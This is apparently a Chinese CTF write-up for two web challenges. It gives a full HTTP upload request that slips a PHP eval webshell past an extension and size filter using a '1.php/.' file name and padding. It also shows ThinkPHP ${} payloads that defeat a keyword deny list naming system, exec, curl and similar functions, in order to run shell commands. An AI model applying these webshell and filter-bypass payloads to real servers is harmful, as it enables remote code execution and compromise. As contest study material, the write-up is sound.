奶龙牌WAF

拿到附件 不准上传后缀为ph和hta的文件 并且对文件大小有限制

代码关键处:

image-20250411171529202

move_uploaded_file 函数

定义和用法:

1
2
move_uploaded_file() 函数把上传的文件移动到新位置。
如果成功该函数返回 TRUE,如果失败则返回 FALSE。

语法:

1
2
3
move_uploaded_file(file,newloc)
file:必需。规定要移动的文件。
newloc:必需。规定文件的新位置。

提示

1
2
注释:该函数仅用于通过 HTTP POST 上传的文件。
注释:如果目标文件已经存在,将会被覆盖。

题目做法:

1
当move_uploaded_file函数参数可控时,可以尝试/.绕过,因为该函数会忽略掉文件末尾的/.,所以可以构造save_path=1.php/.,这样file_ext值就为空,就能绕过黑名单,而move_uploaded_file函数忽略文件末尾的/.可以实现保存文件为.php

image-20250411172003589

这段代码代表只对前5000字节进行校验,意思是5000之后我们就可以传入危险内容(木马)。

使用print('a'*2000000+'<?php eval($_POST[1]);?>')

上传文件即可

数据包构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /?name=1.php/. HTTP/1.1
Host: gz.imxbt.cn:20801
Content-Length: 1048752
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Origin: http://gz.imxbt.cn:20801
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycXLzLLazg0AJNoVA
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://gz.imxbt.cn:20801/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,zh-TW;q=0.7
Cookie: PHPSESSID=8177754fd454ad57569dea76792994c9; name="!4SSvdzbD0UYv84Lnpmm1VLtPBddCrvhgQOLkNQbhjek=?gAWVGQAAAAAAAABdlCiMBG5hbWWUfZRoAYwFZ3Vlc3SUc2Uu"; GZCTF_Token=CfDJ8MKySZ_mlO1BrUTiopFb3pr4sMLMFDp7VLwqIHHQ787J8MU9o7kzKDQgSGH3aUSAFreJelz-xjNcVon1NvCY9iAKz8ktIq-qB4r2jQSniDqdjks-AlNc7Rkw9ROQ3vAa9e0N-iumHmUWe1UcvM30oD4C_p5X2rfkyF4zaLlPcJte51OO6suesKAsKpiTzQ1RvmbX-oqD9hVQaRz0jBi9xFJ7fpCIh2-_Y8UzrQ8TgMQRwpHxaUjX6TUPWl2iaCoFCXNG5RSUU5JVX6JeXurix40S_LdkKSdgdmEXKkw1XNLb5v1YDumTpaGciQGUIVoxHZRwlEtgQ5eR3pq8O1_vm4yODQYq4Y0RPvc2MoJVYLZgX1u-EsroGJdBXAMr09bPEkPJYYerhs1QlP5t2Y8A076GE8Cv82ugOHeNStUNFBf_XQwunbSKJt0FaUtv0SdEu-EKn79ZcAd4m_Ui2-DypcJ6NW7yQrVoC31ElAZuLxFCuVZP4Jw_hZxvAhETL4Pm3Jbx0XR1Dv_Eyjirco1Gtowu44qH972w0qN2sbR2iTwatubxFs39PNNj6dBeZj3MsqihIS5JgY4aY2yAiSLgV586D0zNxFepVQR6_qSzYVX61OIiXKjnRACYg6F6neFGC7YwlYz260chM2RECVTWEqQOdR02WQ6HRcoMqFiFMMXchvAX7rW8t3RJ7T6dF_eel5le5oHsYhoxevoMfddEVM8
Connection: close

------WebKitFormBoundarycXLzLLazg0AJNoVA
Content-Disposition: form-data; name="upload_file"; filename="1.php/."
Content-Type: image/jpeg

"2000000个a"+<?php eval($_POST[1]);?>


------WebKitFormBoundarycXLzLLazg0AJNoVA--

上传连接蚁剑

image-20250411175902900

恶意代码检测器

进去就是个检测器 扫描路径发现www.zip 下载得到源码 index.php里有检测code的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
public function index()
{
$code = preg_replace("/[\";'%\\\\]/", '', $_POST['code']);
if(preg_match('/openlog|syslog|readlink|mail|symlink|popen|passthru|scandir|show_source|assert|fwrite|curl|php|system|eval|cookie|assert|new|session|str|source|passthru|exec|request|require|include|link|base|exec|reverse|open|popen|getallheaders|next|prev|f|conv|ch|hex|end|ord|post|get|array_reverse|\~|\`|\#|\%|\^|\&|\*|\-|\+|\[|\]|\_|\<|\>|\/|\?|\\\\/is', $code)) {

$attack_log_file = '/tmp/attack.log';

if(file_exists($attack_log_file)) {
file_put_contents($attack_log_file, '$attack_word=\''.$code.'\';'."\r\n",FILE_APPEND);
require_once('/tmp/attack.log');
} else {
file_put_contents($attack_log_file, '<'.'?'.'php'."\r\n");
}
if(isset($attack_word)){
echo '检测到危险代码: '.$attack_word.'!!!';
} else{
echo '欢迎使用gxngxngxn的恶意代码检测器!!!';
}
}else{
$safe_log_file = '/tmp/safe.log';
if(file_exists($safe_log_file)) {
file_put_contents($safe_log_file, '$safe_word="'.$code.'";'."\r\n",FILE_APPEND);
require_once('/tmp/safe.log');
} else {
file_put_contents($safe_log_file, '<'.'?'.'php'."\r\n");
}
if(isset($safe_word)){
echo '未检测到危险代码,'.$safe_word.',非常安全';
} else{
echo '欢迎使用gxngxngxn的恶意代码检测器!!!';
}
}
}
}

并且不难发现这是thinkphp的网站 那么肯定是和tp有关的特性 我自己做的时候不知道 后面看wp才知道

1
在 ThinkPHP(TP)框架中,${} 符号常用于模板引擎的表达式解析。在模板中,${} 可以嵌入 PHP 表达式,这些表达式会被解析并执行。它通常用于输出数据或在模板中执行一些简单的 PHP 逻辑。

可以使用${}

1.使用input函数

1
input() 是 ThinkPHP 6 中的一个函数。它是 ThinkPHP 框架提供的一个用来获取请求数据(如 GET、POST 或 PUT 请求中的参数)的函数。

code=${input(0)(input(1))}&0=system&1=cat+/f*

2.使用unsort

code=${usort((ge.tallheaders)(),sys.tem)}

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /public/index.php HTTP/1.1
Host: gz.imxbt.cn:20012
aaa: ls
Content-Length: 41
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: http://gz.imxbt.cn:20012
Referer: http://gz.imxbt.cn:20012/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: csrftoken=OaW6pVSwc7zWaWovIsxPogO3TESlFCY0
Connection: close